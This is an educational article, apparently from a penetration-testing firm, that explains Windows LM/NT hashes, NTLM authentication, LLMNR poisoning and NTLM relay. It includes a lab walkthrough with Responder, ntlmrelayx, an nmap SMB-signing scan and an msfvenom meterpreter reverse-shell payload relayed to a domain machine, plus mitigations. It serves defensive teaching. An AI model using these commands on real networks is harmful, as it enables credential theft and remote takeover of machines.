LLMNR Poisoning, NTLM Relay and More

In this article we’ll touch on what are the hash types used in Windows systems, what is the LLMNR protocol, how it works, when it is used and how it is exploited. We’ll also cover the details of a series of vulnerability exploitations, starting with LLMNR and continuing with NTLM Relay.

There may be algorithms/structures that we need to know first to detect and exploit some vulnerabilities. So, we’ll start by explaining what information needs to be known in advance.

Overview: 

• Introductory Information 
• How does the authentication mechanism work in Windows domain structures? 
• What is LLMNR? 
• What is LLMNR Poisoning? 
• What is NTLM Relay?
• How does the NTLM authentication mechanism work in Windows domain structures?

NTLM Introduction 

In operating systems, password information is generally not stored in clear-text. Instead, it is stored as hash by using certain algorithms. "LM" and "NT" refer to the hash algorithms for passwords stored in Windows systems, indicating the authentication system simultaneously.

LM: Short for "Lan Manager," it is one of the authentication systems used in older Windows systems (2000, XP, Vista, 7). The LM hash is the hash information used in this authentication system. The algorithm used to create an LM hash is weak and in some cases, it can be relatively easy to crack and reverse. The algorithm consists of the following steps:

• The user's password is limited to 14 characters in length.
• All the letters in the user's password are converted to uppercase and encoded with the OEM Codepage.
• The password is padded with null characters to complete a length of 14 characters.
• The 14-character password is divided into two equal parts, each used as a separate DES encryption key.
• The obtained two different 7-byte pieces of information are encrypted using the 'KGS!@#$%' constant through the DES encryption method.
• The encryption of both parts with this constant results in two 8-byte pieces of data. Combining these two parts results in a 16-byte data, representing the LM hash's hex form.

We can easily perform this process using the passlib.hash library in Python. By utilizing this library, we can develop a simple LM hash brute-force tool with an existing wordlist.

Here's an example:

Figure 1 - Example Code:https://passlib.readthedocs.io/en/stable/lib/passlib.hash.lmhash.html

This example demonstrates how to generate an LM hash from a password, verify a password against its LM hash, and check the correctness of a password with an LM hash.

NT: ""NT Lan Manager" is the authentication system that comes with the Windows NT operating system. With this system, the password hash algorithm has become more secure. We can specify this hash information as NT hash. (The hash information mentioned here as NT Hash is referred to as NTLM hash in many sources. (I chose to express it this way to avoid confusion with the NTLM v1 and v2 authentication protocol.)

This hash information is kept in the SAM file on Windows and in the NTDS.dit file in the Domain Controller. (This hash information is used in pass the hash attacks.)

NT hash algorithm is more secure than LM and is created using the MD4 hash algorithm with UTF-16-LE encoding technique. MD4 is then converted into hex format and becomes NT Hash information.

Below is an example that demonstrates tools for testing and developing brute-force attacks in Python:

Figure 2 Example Code: https://passlib.readthedocs.io/en/stable/lib/passlib.hash.nthash.html#passlib.hash.nthash

Although the LM structure is not widely used today, the LM hash information is still stored in SAM files for backward compatibility. When examining the contents of the SAM file, we encounter a structure like this:

'AhmetCan:1001:aad3b435b51405eeaad3b435b51404ee:31d6cfe0d15ae931b73c59d7e0c089c0:::'

This structure consists of the username, user ID, LM hash information, and NT hash information, separated by colons ':'.

Windows Authentication Methods

There are several authentication methods available in Windows systems:

• Kerberos
• NT Lan Manager (NTLM) *
• Certificate
• Smartcard
• Biometrics

In this article, our focus is on the NTLM (NT Lan Manager) authentication method. NTLM can appear in two different versions: NTLM v1 and v2. We'll discuss the differences between these two versions. First, it's beneficial to understand how NTLM works.

We can illustrate the NTLM authentication algorithm as follows:

Figure 3 NTLM Authentication Flow

To summarize:

• The user makes a request stating that he wants to connect to the server/computer he wants to connect to.
• The server responds to this request with a 16-byte token produced at that time and is asked to encrypt this token using DES algorithm with its (client’s) own hash information (LM or NT hash depending on the configuration).
• Afterwards, the user transmits the NTLM hash information (which is the token that is encrypted with the user password’s hash and also called netNTLMv1 or netNTLMv2 hash) and username created by performing these operations.
• The server transmits the NTLMv1 or v2 hash information sent by the user, the initially sent token information and the username to the DC server for verification.
• Since the Domain Controller keeps the hash information of each user in the NTDS file, it can easily compare by applying the same process. As a result, the user is granted permission.

NTLMv1 vs. NTLMv2

We've illustrated how the NTLM protocol (as described in the algorithm above) works and mentioned its two different versions. So, what are their differences?

In NTLMv1, encryption is performed using the token received from the server during token encryption. On the other hand, in NTLMv2, the user's hash is encrypted with time stamps, usernames, the target user's username, and token information. Additionally, the HMAC-MD5 algorithm is used instead of DES for encryption.

What is LLMNR?

LLMNR (Link-Local Multicast Name Resolution) is a protocol that allows for DNS resolution within the same local network. Despite its name, it serves the purpose of name resolution, similar to DNS, by providing us with an IP address based on a given name within the local network. But when does it operate? Isn't DNS used? Name resolution on Windows systems occurs through the following steps:

1. The searched domain or server name is first searched in the Hosts file on the local computer. If unsuccessful,
2. It checks the local DNS cache. If unsuccessful,
3. It sends a DNS query. If unsuccessful,
4. It sends an LLMNR query. If unsuccessful,
5. It sends a NetBIOS-NS query.

In the 4th step, the LLMNR query broadcasts a multicast. Therefore, instead of directly reaching out to DNS, it sends this request to other peers on the network asking, 'I want to connect to this address, does anyone know who owns it?' This is where our focus lies.

LLMNR Poisoning

As soon as the attacker sees the LLMNR request from the user, he says "I am the person you are looking for, you want to connect to me" and makes the victim's computer request to connect to him. In this case, according to the NTLM algorithm operation described above, the hash information of the victim's NTLMv1 or V2 protocol is obtained.

So what can we do with this hash information? We can try to crack this hash information with the bruteforce technique. If the password is simple, it is possible to crack it. However, cracking a long or complex password may not be practical under normal conditions. (With good hardware, it may take days to weeks.) Therefore, obtaining this hash information may not mean anything on its own in some cases.

Figure 4 LLMNR Poisoning Flow; the client mistype as kema.local instead of kemal.local which is the right name of server and dns cannot resolve the name of it. So it uses LLMNR request to solve it.

Above, an example scenario of LLMNR Poisoning is illustrated. The eavesdropping attacker responds to these queries by broadcasting SMB and HTTP via a Linux server like Kali. In this case, the commonly used tool Responder.py can be employed.

Let's test this attack in a lab environment with 1 DC, 2 users connected to the domain, and a Kali machine on the same network.

• LAB Environment Information:
• DC: 192.168.1.107 -
• User1: fcastle: 192.168.1.108
• User2: pparker: 192.168.1.109
• Kali: 192.168.1.106

• The 'smb' and 'http' options should be set to 'On' in the Responder.conf file. This allows the SMB server running with Responder to function and respond to requests.
• Run Responder.py with the '-I <interface>' parameter.

Figure 5 Responder started

Figure 6 The victim, affected by LLMNR poisoning conducted from Kali, mistakenly believes they are connecting to 'kemal.local'

To obtain the NTLMv2 hash information from the Kali machine.

Figure 7 The attacker who has been eavesdropping from the beginning and gained user hash information through LLMNR Poisoning.

Mitigation of LLMNR Poisoning Attacks

• LLMNR and NBT-NS protocols can be disabled. NBT-NS is also included because, if you remember above, NBT-NS comes after LLMNR in the DNS steps and poisoning can be done with the same algorithm.
• It would be beneficial to tend to log in to systems with users with limited privileges. There are differences in terms of vulnerability levels between the disclosure of a domain admin account information and the disclosure of a standard user.
• The use of long and complex passwords may render the information obtained in this attack useless.

NTLM Relay / SMB Relay

If we have a good understanding of Windows authentication and concepts like LLMNR/LLMNR Poisoning, we can move on to NTLM Relay.

NTLM Relay attack involves a method where an attacker connects to a server/computer they want to access by leveraging the information of a user affected by LLMNR poisoning, essentially using a form of man-in-the-middle technique. Illustrating and understanding this attack can be helpful to us.

In summary, the process of NTLM relay attack occurs as follows:

Steps 1 to 3 are explained in the earlier LLMNR Relay example above (Figure 4). In step 4, the attacker, using the responder tool, hands over the authorization to the 'ntlmrelayx' tool without responding to the connection request from the victim.

The 'ntlmrelayx' tool copies the connection request from the user and relays it to the desired server to establish a connection. Next, the server, due to the nature of NTLM authentication, provides a token to be encrypted and sent to the Domain Controller (DC) for validation.

The attacker relays this request, pretending to be the victim, to the target computer/server. Consequently, the unsuspecting victim's computer believes that the request came from the 'kema.local' computer and sends the token for authentication, assuming it's communicating with that entity. However, the attacker tries to authenticate to a different server using the victim's credentials.

This way, by correctly relaying information, the attacker gains access to the targeted server.

What are the conditions required for SMB/NTLM relay?

• The victim's computer should have SMB signing disabled or set to "not required".
• The user whose credentials are being relayed must have permissions on the target server.

SMB signing refers to the process in the SMB protocol where the sender signs the packet with its signature before transmitting it. It's a security mechanism designed to prevent man-in-the-middle attacks like NTLM relay.

The user whose credentials are being relayed needs to have the necessary permissions on the target server to establish a connection and have authorization for tasks like executing commands, etc.

To check the SMB signing feature on users, you can use the nmap tool's "smb2-security-mode" script. This allows filtering of potential targets for relay. Subsequently, attempts for attacks can be made on the filtered targets.

Proof of Concept – NTLM Relay

AD Lab Environment
Kali:192.168.1.106
DC : 192.168.1.107
User:fcastle:192.168.1.108
User:pparker:192.168.1.109

Let's assume that when we look at the computer of the 'pparker' user, the 'fcastle' user also has administrator privileges on this computer. In other words, what we mean here is that the 'fcastle' user is an authorized user on the 'pparker' user's computer.

In this example, after poisoning 'fcastle' user via LLMNR Poisoning, we will attempt to gain access to the computer used by 'pparker' using 'ntlmrelayx'.

We can use the command 'nmap -sSV -p 445 -script smb2-security-mode 192.168.1.0/24' to list those without SMB signing or with SMB signing set to 'not required' in our 'target.txt' list on the network.

Figure 8 SMB Signing confuration found via nmap

Later on, we can initiate this chained attack by running Responder. However, let's remember to turn off the SMB and HTTP options in 'responder.conf'. This is because Responder will only perform the poisoning, and the rest of the relay work will be handled by the 'ntlmrelayx' tool using the SMB server.

Commands:

• Run Responder: 'responder -I eth0 -rwd'
• Run 'ntlmrelayx.py' with SMB2 support: ‘ntlmrelayx.py -tf ntlmtartgets.txt -smb2support’

Figure 9 The victim mistype the name of server

Figure 10 The ntlmrelayx tool gaining access to the target as a man-in-the-middle alongside Responder

Here, interactive access can be provided to ntlmrelayx using the '-i' parameter. If desired, using the '-e' parameter, an executable can be run for obtaining a reverse/bind shell.

So, let's repeat the test scenario with the '-e' parameter:

• Generate a payload with 'msfvenom':

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=4444 -f exe > shell.exe

• Start msfconsole:

msfconsole > use/multi/handler > set options > run

• Run the following commands:

responder -I eth0 -rwd

ntlmrelayx.py -tf ntlmtartgets.txt -smb2support -e shell.exe

Figure 11 Obtaining a meterpreter session on a computer within the domain using NTLM Relay.

So, as an attacker, we could gain access on the target machine and executed an executable to get a meterpreter shell via victim credentials without knowing it, just with relaying hash of it.

Figure 12 AD Lab that used during the process; 1 DC, 2 Client, 1 Attacker Kali

Additional Information: It might be advisable to use Impacket version 0.9.19 for the scripts used. The latest version may not guarantee success in NTLM relay attacks as I experienced. Impacket 0.9.19

This understanding of the underlying technology should help illuminate more vulnerabilities for companies to remediate and improve their security posture. 

Learn more about how Cobalt helps with this process with penetration testing services. 

References

• Microsoft: Overview of Server Message Block signing
• Microsoft: Link Local Multicast Name Resolution (LLMNR) Profile
• The Cyber Mentor: Zero to Hero Pentesting: Episode 1
• Microsoft: Link-Local Multicast Name Resolution (LLMNR) Memo  
• Passlib 1.7.4 documentation
• hackndo:NTLM-relay